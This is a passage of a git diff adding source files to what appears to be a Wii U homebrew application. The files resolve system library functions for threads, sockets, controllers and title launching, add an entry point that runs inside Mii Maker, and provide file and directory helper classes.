3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __OS_FUNCTIONS_H_ +#define __OS_FUNCTIONS_H_ + +#include +#include "common/os_defs.h" + +#ifdef __cplusplus +extern "C" { +#endif + +#define BUS_SPEED 248625000 +#define SECS_TO_TICKS(sec) (((unsigned long long)(sec)) * (BUS_SPEED/4)) +#define MILLISECS_TO_TICKS(msec) (SECS_TO_TICKS(msec) / 1000) +#define MICROSECS_TO_TICKS(usec) (SECS_TO_TICKS(usec) / 1000000) + +#define usleep(usecs) OSSleepTicks(MICROSECS_TO_TICKS(usecs)) +#define sleep(secs) OSSleepTicks(SECS_TO_TICKS(secs)) + +#define FLUSH_DATA_BLOCK(addr) asm volatile("dcbf 0, %0; sync" : : "r"(((addr) & ~31))) +#define INVAL_DATA_BLOCK(addr) asm volatile("dcbi 0, %0; sync" : : "r"(((addr) & ~31))) + +#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__) __attribute__((section(".data"))) = 0; +#define EXPORT_VAR(type, var) type var __attribute__((section(".data"))); + + +#define EXPORT_FUNC_WRITE(func, val) *(u32*)(((u32)&func) + 0) = (u32)val + +#define OS_FIND_EXPORT(handle, func) funcPointer = 0; \ + OSDynLoad_FindExport(handle, 0, # func, &funcPointer); \ + if(!funcPointer) \ + OSFatal("Function " # func " is NULL"); \ + EXPORT_FUNC_WRITE(func, funcPointer); + +#define OS_FIND_EXPORT_EX(handle, func, func_p) \ + funcPointer = 0; \ + OSDynLoad_FindExport(handle, 0, # func, &funcPointer); \ + if(!funcPointer) \ + OSFatal("Function " # func " is NULL"); \ + EXPORT_FUNC_WRITE(func_p, funcPointer); + +#define OS_MUTEX_SIZE 44 + +/* Handle for coreinit */ +extern unsigned int coreinit_handle; +void InitOSFunctionPointers(void); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Lib handle functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +extern int (* OSDynLoad_Acquire)(const char* rpl, u32 *handle); +extern int (* OSDynLoad_FindExport)(u32 handle, int isdata, const char *symbol, void *address); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Thread functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +extern int (* OSCreateThread)(void *thread, s32 (*callback)(s32, void*), s32 argc, void *args, u32 stack, u32 stack_size, s32 priority, u32 attr); +extern int (* OSResumeThread)(void *thread); +extern int (* OSSuspendThread)(void *thread); +extern int (* OSIsThreadTerminated)(void *thread); +extern int (* OSIsThreadSuspended)(void *thread); +extern int (* OSJoinThread)(void * thread, int * ret_val); +extern int (* OSSetThreadPriority)(void * thread, int priority); +extern void (* OSDetachThread)(void * thread); +extern void (* OSSleepTicks)(u64 ticks); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Mutex functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +extern void (* OSInitMutex)(void* mutex); +extern void (* OSLockMutex)(void* mutex); +extern void (* OSUnlockMutex)(void* mutex); +extern int (* OSTryLockMutex)(void* mutex); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! System functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +extern u64 (* OSGetTitleID)(void); +extern void (* __Exit)(void); +extern void (* OSFatal)(const char* msg); +extern void (* DCFlushRange)(const void *addr, u32 length); +extern void (* ICInvalidateRange)(const void *addr, u32 length); +extern void* (* OSEffectiveToPhysical)(const void*); +extern int (* __os_snprintf)(char* s, int n, const char * format, ...); + +typedef unsigned char (*exception_callback)(void * interruptedContext); +extern void (* OSSetExceptionCallback)(u8 exceptionType, exception_callback newCallback); + +extern int (* LiWaitIopComplete)(int unknown_syscall_arg_r3, int * remaining_bytes); +extern int (* LiWaitIopCompleteWithInterrupts)(int unknown_syscall_arg_r3, int * remaining_bytes); + + +#ifdef __cplusplus +} +#endif + +#endif // __OS_FUNCTIONS_H_ diff --git a/src/dynamic_libs/padscore_functions.c b/src/dynamic_libs/padscore_functions.c new file mode 100644 index 0000000..c51764f --- /dev/null +++ b/src/dynamic_libs/padscore_functions.c @@ -0,0 +1,50 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "os_functions.h" +#include "padscore_functions.h" + +EXPORT_DECL(void, KPADInit, void); +EXPORT_DECL(s32, WPADProbe, s32 chan, u32 * pad_type); +EXPORT_DECL(s32, WPADSetDataFormat, s32 chan, s32 format); +EXPORT_DECL(void, WPADEnableURCC, s32 enable); +EXPORT_DECL(void, WPADRead, s32 chan, void * data); +EXPORT_DECL(s32, KPADRead, s32 chan, void * data, u32 size); + +void InitPadScoreFunctionPointers(void) +{ + unsigned int *funcPointer = 0; + unsigned int padscore_handle; + OSDynLoad_Acquire("padscore.rpl", &padscore_handle); + + OS_FIND_EXPORT(padscore_handle, KPADInit); + OS_FIND_EXPORT(padscore_handle, WPADProbe); + OS_FIND_EXPORT(padscore_handle, WPADSetDataFormat); + OS_FIND_EXPORT(padscore_handle, WPADEnableURCC); + OS_FIND_EXPORT(padscore_handle, WPADRead); + OS_FIND_EXPORT(padscore_handle, KPADRead); + + KPADInit(); + WPADEnableURCC(1); +} + diff --git a/src/dynamic_libs/padscore_functions.h b/src/dynamic_libs/padscore_functions.h new file mode 100644 index 0000000..26eda1a --- /dev/null +++ b/src/dynamic_libs/padscore_functions.h @@ -0,0 +1,122 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __PAD_SCORE_FUNCTIONS_H_ +#define __PAD_SCORE_FUNCTIONS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +#define WPAD_BUTTON_LEFT 0x0001 +#define WPAD_BUTTON_RIGHT 0x0002 +#define WPAD_BUTTON_DOWN 0x0004 +#define WPAD_BUTTON_UP 0x0008 +#define WPAD_BUTTON_PLUS 0x0010 +#define WPAD_BUTTON_2 0x0100 +#define WPAD_BUTTON_1 0x0200 +#define WPAD_BUTTON_B 0x0400 +#define WPAD_BUTTON_A 0x0800 +#define WPAD_BUTTON_MINUS 0x1000 +#define WPAD_BUTTON_Z 0x2000 +#define WPAD_BUTTON_C 0x4000 +#define WPAD_BUTTON_HOME 0x8000 + +#define WPAD_CLASSIC_BUTTON_UP 0x0001 +#define WPAD_CLASSIC_BUTTON_LEFT 0x0002 +#define WPAD_CLASSIC_BUTTON_ZR 0x0004 +#define WPAD_CLASSIC_BUTTON_X 0x0008 +#define WPAD_CLASSIC_BUTTON_A 0x0010 +#define WPAD_CLASSIC_BUTTON_Y 0x0020 +#define WPAD_CLASSIC_BUTTON_B 0x0040 +#define WPAD_CLASSIC_BUTTON_ZL 0x0080 +#define WPAD_CLASSIC_BUTTON_R 0x0200 +#define WPAD_CLASSIC_BUTTON_PLUS 0x0400 +#define WPAD_CLASSIC_BUTTON_HOME 0x0800 +#define WPAD_CLASSIC_BUTTON_MINUS 0x1000 +#define WPAD_CLASSIC_BUTTON_L 0x2000 +#define WPAD_CLASSIC_BUTTON_DOWN 0x4000 +#define WPAD_CLASSIC_BUTTON_RIGHT 0x8000 + +void InitPadScoreFunctionPointers(void); + + +typedef struct _KPADData +{ + u32 btns_h; + u32 btns_d; + u32 btns_r; + u32 unused_1[5]; + f32 pos_x; + f32 pos_y; + u32 unused_2[3]; + f32 angle_x; + f32 angle_y; + u32 unused_3[8]; + u8 device_type; + u8 wpad_error; + u8 pos_valid; + u8 unused_4[1]; + + union + { + struct + { + f32 stick_x; + f32 stick_y; + } nunchuck; + + struct + { + u32 btns_h; + u32 btns_d; + u32 btns_r; + f32 lstick_x; + f32 lstick_y; + f32 rstick_x; + f32 rstick_y; + f32 ltrigger; + f32 rtrigger; + } classic; + + u32 unused_6[20]; + }; + u32 unused_7[16]; +} KPADData; + +typedef void (* wpad_connect_callback_t)(s32 chan, s32 status); + +extern void (* KPADInit)(void); +extern s32 (* WPADProbe)(s32 chan, u32 * pad_type); +extern s32 (* WPADSetDataFormat)(s32 chan, s32 format); +extern void (* WPADEnableURCC)(s32 enable); +extern void (* WPADRead)(s32 chan, void * data); +extern s32 (* KPADRead)(s32 chan, void * data, u32 size); + +#ifdef __cplusplus +} +#endif + +#endif // __PAD_SCORE_FUNCTIONS_H_ diff --git a/src/dynamic_libs/socket_functions.c b/src/dynamic_libs/socket_functions.c new file mode 100644 index 0000000..9b8c9b1 --- /dev/null +++ b/src/dynamic_libs/socket_functions.c @@ -0,0 +1,84 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "os_functions.h" +#include "socket_functions.h" + +u32 hostIpAddress = 0; + +EXPORT_DECL(void, socket_lib_init, void); +EXPORT_DECL(int, socket, int domain, int type, int protocol); +EXPORT_DECL(int, socketclose, int s); +EXPORT_DECL(int, shutdown, int s, int how); +EXPORT_DECL(int, connect, int s, void *addr, int addrlen); +EXPORT_DECL(int, bind, s32 s,struct sockaddr *name,s32 namelen); +EXPORT_DECL(int, listen, s32 s,u32 backlog); +EXPORT_DECL(int, accept, s32 s,struct sockaddr *addr,s32 *addrlen); +EXPORT_DECL(int, send, int s, const void *buffer, int size, int flags); +EXPORT_DECL(int, recv, int s, void *buffer, int size, int flags); +EXPORT_DECL(int, sendto, int s, const void *buffer, int size, int flags, const struct sockaddr *dest, int dest_len); +EXPORT_DECL(int, setsockopt, int s, int level, int optname, void *optval, int optlen); +EXPORT_DECL(char *, inet_ntoa, struct in_addr in); +EXPORT_DECL(int, inet_aton, const char *cp, struct in_addr *inp); + +void InitSocketFunctionPointers(void) +{ + unsigned int nsysnet_handle; + unsigned int *funcPointer = 0; + OSDynLoad_Acquire("nsysnet.rpl", &nsysnet_handle); + + unsigned int nn_ac_handle; + int(*ACInitialize)(); + int(*ACGetStartupId) (unsigned int *id); + int(*ACConnectWithConfigId) (unsigned int id); + int(*ACGetAssignedAddress) (u32 * ip); + OSDynLoad_Acquire("nn_ac.rpl", &nn_ac_handle); + OSDynLoad_FindExport(nn_ac_handle, 0, "ACInitialize", &ACInitialize); + OSDynLoad_FindExport(nn_ac_handle, 0, "ACGetStartupId", &ACGetStartupId); + OSDynLoad_FindExport(nn_ac_handle, 0, "ACConnectWithConfigId",&ACConnectWithConfigId); + OSDynLoad_FindExport(nn_ac_handle, 0, "ACGetAssignedAddress",&ACGetAssignedAddress); + + OS_FIND_EXPORT(nsysnet_handle, socket_lib_init); + OS_FIND_EXPORT(nsysnet_handle, socket); + OS_FIND_EXPORT(nsysnet_handle, socketclose); + OS_FIND_EXPORT(nsysnet_handle, shutdown); + OS_FIND_EXPORT(nsysnet_handle, connect); + OS_FIND_EXPORT(nsysnet_handle, bind); + OS_FIND_EXPORT(nsysnet_handle, listen); + OS_FIND_EXPORT(nsysnet_handle, accept); + OS_FIND_EXPORT(nsysnet_handle, send); + OS_FIND_EXPORT(nsysnet_handle, recv); + OS_FIND_EXPORT(nsysnet_handle, sendto); + OS_FIND_EXPORT(nsysnet_handle, setsockopt); + OS_FIND_EXPORT(nsysnet_handle, inet_ntoa); + OS_FIND_EXPORT(nsysnet_handle, inet_aton); + + unsigned int nn_startupid; + ACInitialize(); + ACGetStartupId(&nn_startupid); + ACConnectWithConfigId(nn_startupid); + ACGetAssignedAddress(&hostIpAddress); + + socket_lib_init(); +} + diff --git a/src/dynamic_libs/socket_functions.h b/src/dynamic_libs/socket_functions.h new file mode 100644 index 0000000..f954423 --- /dev/null +++ b/src/dynamic_libs/socket_functions.h @@ -0,0 +1,99 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __SOCKET_FUNCTIONS_H_ +#define __SOCKET_FUNCTIONS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +#define INADDR_ANY 0 + +#define AF_INET 2 + +#define SHUT_RD 0 +#define SHUT_WR 1 +#define SHUT_RDWR 2 + +#define SOCK_STREAM 1 +#define SOCK_DGRAM 2 + +#define IPPROTO_IP 0 +#define IPPROTO_TCP 6 +#define IPPROTO_UDP 17 + +#define TCP_NODELAY 0x2004 + +#define SOL_SOCKET -1 +#define SO_REUSEADDR 0x0004 +#define SO_NONBLOCK 0x1016 +#define SO_MYADDR 0x1013 + +#define htonl(x) x +#define htons(x) x +#define ntohl(x) x +#define ntohs(x) x + + +struct in_addr { + unsigned int s_addr; +}; +struct sockaddr_in { + short sin_family; + unsigned short sin_port; + struct in_addr sin_addr; + char sin_zero[8]; +}; + +struct sockaddr +{ + unsigned short sa_family; + char sa_data[14]; +}; + +void InitSocketFunctionPointers(void); + +extern void (*socket_lib_init)(void); +extern int (*socket)(int domain, int type, int protocol); +extern int (*socketclose)(int s); +extern int (*shutdown)(int s, int how); +extern int (*connect)(int s, void *addr, int addrlen); +extern int (*bind)(s32 s,struct sockaddr *name,s32 namelen); +extern int (*listen)(s32 s,u32 backlog); +extern int (*accept)(s32 s,struct sockaddr *addr,s32 *addrlen); +extern int (*send)(int s, const void *buffer, int size, int flags); +extern int (*recv)(int s, void *buffer, int size, int flags); +extern int (*sendto)(int s, const void *buffer, int size, int flags, const struct sockaddr *dest, int dest_len); +extern int (*setsockopt)(int s, int level, int optname, void *optval, int optlen); + +extern char * (*inet_ntoa)(struct in_addr in); +extern int (*inet_aton)(const char *cp, struct in_addr *inp); + +#ifdef __cplusplus +} +#endif + +#endif // __SOCKET_FUNCTIONS_H_ diff --git a/src/dynamic_libs/sys_functions.c b/src/dynamic_libs/sys_functions.c new file mode 100644 index 0000000..ea7649e --- /dev/null +++ b/src/dynamic_libs/sys_functions.c @@ -0,0 +1,40 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "os_functions.h" + +EXPORT_DECL(void, _SYSLaunchTitleByPathFromLauncher, const char* path, int len, int zero); +EXPORT_DECL(int, SYSRelaunchTitle, int argc, char* argv); +EXPORT_DECL(int, SYSLaunchMenu, void); + +void InitSysFunctionPointers(void) +{ + unsigned int *funcPointer = 0; + unsigned int sysapp_handle; + OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); + + OS_FIND_EXPORT(sysapp_handle, _SYSLaunchTitleByPathFromLauncher); + OS_FIND_EXPORT(sysapp_handle, SYSRelaunchTitle); + OS_FIND_EXPORT(sysapp_handle, SYSLaunchMenu); +} + diff --git a/src/dynamic_libs/sys_functions.h b/src/dynamic_libs/sys_functions.h new file mode 100644 index 0000000..18c9065 --- /dev/null +++ b/src/dynamic_libs/sys_functions.h @@ -0,0 +1,42 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __SYS_FUNCTIONS_H_ +#define __SYS_FUNCTIONS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +void InitSysFunctionPointers(void); + +extern void(*_SYSLaunchTitleByPathFromLauncher)(const char* path, int len, int zero); +extern int (* SYSRelaunchTitle)(int argc, char* argv); +extern int (* SYSLaunchMenu)(void); + + +#ifdef __cplusplus +} +#endif + +#endif // __SYS_FUNCTIONS_H_ diff --git a/src/dynamic_libs/vpad_functions.c b/src/dynamic_libs/vpad_functions.c new file mode 100644 index 0000000..06f9400 --- /dev/null +++ b/src/dynamic_libs/vpad_functions.c @@ -0,0 +1,37 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "os_functions.h" +#include "vpad_functions.h" + +EXPORT_DECL(void, VPADRead, int chan, VPADData *buffer, u32 buffer_size, s32 *error); + +void InitVPadFunctionPointers(void) +{ + unsigned int *funcPointer = 0; + unsigned int vpad_handle; + OSDynLoad_Acquire("vpad.rpl", &vpad_handle); + + OS_FIND_EXPORT(vpad_handle, VPADRead); +} + diff --git a/src/dynamic_libs/vpad_functions.h b/src/dynamic_libs/vpad_functions.h new file mode 100644 index 0000000..ea8e9d8 --- /dev/null +++ b/src/dynamic_libs/vpad_functions.h @@ -0,0 +1,101 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __VPAD_FUNCTIONS_H_ +#define __VPAD_FUNCTIONS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +#define VPAD_BUTTON_A 0x8000 +#define VPAD_BUTTON_B 0x4000 +#define VPAD_BUTTON_X 0x2000 +#define VPAD_BUTTON_Y 0x1000 +#define VPAD_BUTTON_LEFT 0x0800 +#define VPAD_BUTTON_RIGHT 0x0400 +#define VPAD_BUTTON_UP 0x0200 +#define VPAD_BUTTON_DOWN 0x0100 +#define VPAD_BUTTON_ZL 0x0080 +#define VPAD_BUTTON_ZR 0x0040 +#define VPAD_BUTTON_L 0x0020 +#define VPAD_BUTTON_R 0x0010 +#define VPAD_BUTTON_PLUS 0x0008 +#define VPAD_BUTTON_MINUS 0x0004 +#define VPAD_BUTTON_HOME 0x0002 +#define VPAD_BUTTON_SYNC 0x0001 +#define VPAD_BUTTON_STICK_R 0x00020000 +#define VPAD_BUTTON_STICK_L 0x00040000 +#define VPAD_BUTTON_TV 0x00010000 + +#define VPAD_STICK_R_EMULATION_LEFT 0x04000000 +#define VPAD_STICK_R_EMULATION_RIGHT 0x02000000 +#define VPAD_STICK_R_EMULATION_UP 0x01000000 +#define VPAD_STICK_R_EMULATION_DOWN 0x00800000 + +#define VPAD_STICK_L_EMULATION_LEFT 0x40000000 +#define VPAD_STICK_L_EMULATION_RIGHT 0x20000000 +#define VPAD_STICK_L_EMULATION_UP 0x10000000 +#define VPAD_STICK_L_EMULATION_DOWN 0x08000000 + + +typedef struct +{ + f32 x,y; +} Vec2D; + +typedef struct +{ + u16 x, y; /* Touch coordinates */ + u16 touched; /* 1 = Touched, 0 = Not touched */ + u16 invalid; /* 0 = All valid, 1 = X invalid, 2 = Y invalid, 3 = Both invalid? */ +} VPADTPData; + +typedef struct +{ + u32 btns_h; /* Held buttons */ + u32 btns_d; /* Buttons that are pressed at that instant */ + u32 btns_r; /* Released buttons */ + Vec2D lstick, rstick; /* Each contains 4-byte X and Y components */ + char unknown1c[0x52 - 0x1c]; /* Contains accelerometer and gyroscope data somewhere */ + VPADTPData tpdata; /* Normal touchscreen data */ + VPADTPData tpdata1; /* Modified touchscreen data 1 */ + VPADTPData tpdata2; /* Modified touchscreen data 2 */ + char unknown6a[0xa0 - 0x6a]; + uint8_t volume; + uint8_t battery; /* 0 to 6 */ + uint8_t unk_volume; /* One less than volume */ + char unknowna4[0xac - 0xa4]; +} VPADData; + +void InitVPadFunctionPointers(void); + +extern void (* VPADRead)(int chan, VPADData *buffer, u32 buffer_size, s32 *error); + +#ifdef __cplusplus +} +#endif + +#endif // __VPAD_FUNCTIONS_H_ diff --git a/src/entry.c b/src/entry.c new file mode 100644 index 0000000..bff13a0 --- /dev/null +++ b/src/entry.c @@ -0,0 +1,31 @@ +#include +#include "dynamic_libs/os_functions.h" +#include "dynamic_libs/sys_functions.h" +#include "common/common.h" +#include "utils/utils.h" +#include "main.h" + +static volatile uint8_t ucRunOnce = 0; + +int __entry_menu(int argc, char **argv) +{ + //! ******************************************************************* + //! * Check if our application is started * + //! ******************************************************************* + if (OSGetTitleID != 0 && + OSGetTitleID() != 0x000500101004A200 && // mii maker eur + OSGetTitleID() != 0x000500101004A100 && // mii maker usa + OSGetTitleID() != 0x000500101004A000) // mii maker jpn + return EXIT_RELAUNCH_ON_LOAD; + + //! check if application needs a re-load + if(ucRunOnce) { + return EXIT_SUCCESS; + } + ucRunOnce = 1; + + //! ******************************************************************* + //! * Jump to our application * + //! ******************************************************************* + return Menu_Main(); +} diff --git a/src/fs/CFile.cpp b/src/fs/CFile.cpp new file mode 100644 index 0000000..161b980 --- /dev/null +++ b/src/fs/CFile.cpp @@ -0,0 +1,197 @@ +#include +#include +#include "CFile.hpp" + +CFile::CFile() +{ + iFd = -1; + mem_file = NULL; + filesize = 0; + pos = 0; +} + +CFile::CFile(const std::string & filepath, eOpenTypes mode) +{ + iFd = -1; + this->open(filepath, mode); +} + +CFile::CFile(const u8 * mem, int size) +{ + iFd = -1; + this->open(mem, size); +} + +CFile::~CFile() +{ + this->close(); +} + +int CFile::open(const std::string & filepath, eOpenTypes mode) +{ + this->close(); + + s32 openMode = 0; + + switch(mode) + { + default: + case ReadOnly: + openMode = O_RDONLY; + break; + case WriteOnly: + openMode = O_WRONLY; + break; + case ReadWrite: + openMode = O_RDWR; + break; + case Append: + openMode = O_APPEND | O_WRONLY; + break; + } + + //! Using fopen works only on the first launch as expected + //! on the second launch it causes issues because we don't overwrite + //! the .data sections which is needed for a normal application to re-init + //! this will be added with launching as RPX + iFd = ::open(filepath.c_str(), openMode); + if(iFd < 0) + return iFd; + + + filesize = ::lseek(iFd, 0, SEEK_END); + ::lseek(iFd, 0, SEEK_SET); + + return 0; +} + +int CFile::open(const u8 * mem, int size) +{ + this->close(); + + mem_file = mem; + filesize = size; + + return 0; +} + +void CFile::close() +{ + if(iFd >= 0) + ::close(iFd); + + iFd = -1; + mem_file = NULL; + filesize = 0; + pos = 0; +} + +int CFile::read(u8 * ptr, size_t size) +{ + if(iFd >= 0) + { + int ret = ::read(iFd, ptr,size); + if(ret > 0) + pos += ret; + return ret; + } + + int readsize = size; + + if(readsize > (s64) (filesize-pos)) + readsize = filesize-pos; + + if(readsize <= 0) + return readsize; + + if(mem_file != NULL) + { + memcpy(ptr, mem_file+pos, readsize); + pos += readsize; + return readsize; + } + + return -1; +} + +int CFile::write(const u8 * ptr, size_t size) +{ + if(iFd >= 0) + { + size_t done = 0; + while(done < size) + { + int ret = ::write(iFd, ptr, size - done); + if(ret <= 0) + return ret; + + ptr += ret; + done += ret; + pos += ret; + } + return done; + } + + return -1; +} + +int CFile::seek(long int offset, int origin) +{ + int ret = 0; + s64 newPos = pos; + + if(origin == SEEK_SET) + { + newPos = offset; + } + else if(origin == SEEK_CUR) + { + newPos += offset; + } + else if(origin == SEEK_END) + { + newPos = filesize+offset; + } + + if(newPos < 0) + { + pos = 0; + } + else { + pos = newPos; + } + + if(iFd >= 0) + ret = ::lseek(iFd, pos, SEEK_SET); + + if(mem_file != NULL) + { + if(pos > filesize) + { + pos = filesize; + } + } + + return ret; +} + +int CFile::fwrite(const char *format, ...) +{ + int result = -1; + char * tmp = NULL; + + va_list va; + va_start(va, format); + if((vasprintf(&tmp, format, va) >= 0) && tmp) + { + result = this->write((u8 *)tmp, strlen(tmp)); + } + va_end(va); + + if(tmp) + free(tmp); + + return result; +} + + diff --git a/src/fs/CFile.hpp b/src/fs/CFile.hpp new file mode 100644 index 0000000..1580eb3 --- /dev/null +++ b/src/fs/CFile.hpp @@ -0,0 +1,57 @@ +#ifndef CFILE_HPP_ +#define CFILE_HPP_ + +#include +#include +#include +#include +#include +#include + +class CFile +{ + public: + enum eOpenTypes + { + ReadOnly, + WriteOnly, + ReadWrite, + Append + }; + + CFile(); + CFile(const std::string & filepath, eOpenTypes mode); + CFile(const u8 * memory, int memsize); + virtual ~CFile(); + + int open(const std::string & filepath, eOpenTypes mode); + int open(const u8 * memory, int memsize); + + bool isOpen() const { + if(iFd >= 0) + return true; + + if(mem_file) + return true; + + return false; + } + + void close(); + + int read(u8 * ptr, size_t size); + int write(const u8 * ptr, size_t size); + int fwrite(const char *format, ...); + int seek(long int offset, int origin); + u64 tell() { return pos; }; + u64 size() { return filesize; }; + void rewind() { this->seek(0, SEEK_SET); }; + + protected: + int iFd; + const u8 * mem_file; + u64 filesize; + u64 pos; +}; + +#endif diff --git a/src/fs/DirList.cpp b/src/fs/DirList.cpp new file mode 100644 index 0000000..147deaf --- /dev/null +++ b/src/fs/DirList.cpp @@ -0,0 +1,223 @@ +/**************************************************************************** + * Copyright (C) 2010 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + * + * DirList Class + * for WiiXplorer 2010 + ***************************************************************************/ +#include +#include +#include +#include +#include +#include +#include + +#include "DirList.h" +#include "utils/StringTools.h" + +DirList::DirList() +{ + Flags = 0; + Filter = 0; +} + +DirList::DirList(const std::string & path, const char *filter, u32 flags) +{ + this->LoadPath(path, filter, flags); + this->SortList(); +} + +DirList::~DirList() +{ + ClearList(); +} + +bool DirList::LoadPath(const std::string & folder, const char *filter, u32 flags) +{ + if(folder.empty()) return false; + + Flags = flags; + Filter = filter; + + std::string folderpath(folder); + u32 length = folderpath.size(); + + //! clear path of double slashes + RemoveDoubleSlashs(folderpath); + + //! remove last slash if exists + if(length > 0 && folderpath[length-1] == '/') + folderpath.erase(length-1); + + return InternalLoadPath(folderpath); +} + +bool DirList::InternalLoadPath(std::string &folderpath) +{ + if(folderpath.size() < 3) + return false; + + struct dirent *dirent = NULL; + DIR *dir = NULL; + + dir = opendir(folderpath.c_str()); + if (dir == NULL) + return false; + + while ((dirent = readdir(dir)) != 0) + { + bool isDir = dirent->d_type & DT_DIR; + const char *filename = dirent->d_name; + + if(isDir) + { + if(strcmp(filename,".") == 0 || strcmp(filename,"..") == 0) + continue; + + if(Flags & CheckSubfolders) + { + int length = folderpath.size(); + if(length > 2 && folderpath[length-1] != '/') + folderpath += '/'; + folderpath += filename; + InternalLoadPath(folderpath); + folderpath.erase(length); + } + + if(!(Flags & Dirs)) + continue; + } + else if(!(Flags & Files)) + { + continue; + } + + if(Filter) + { + char * fileext = 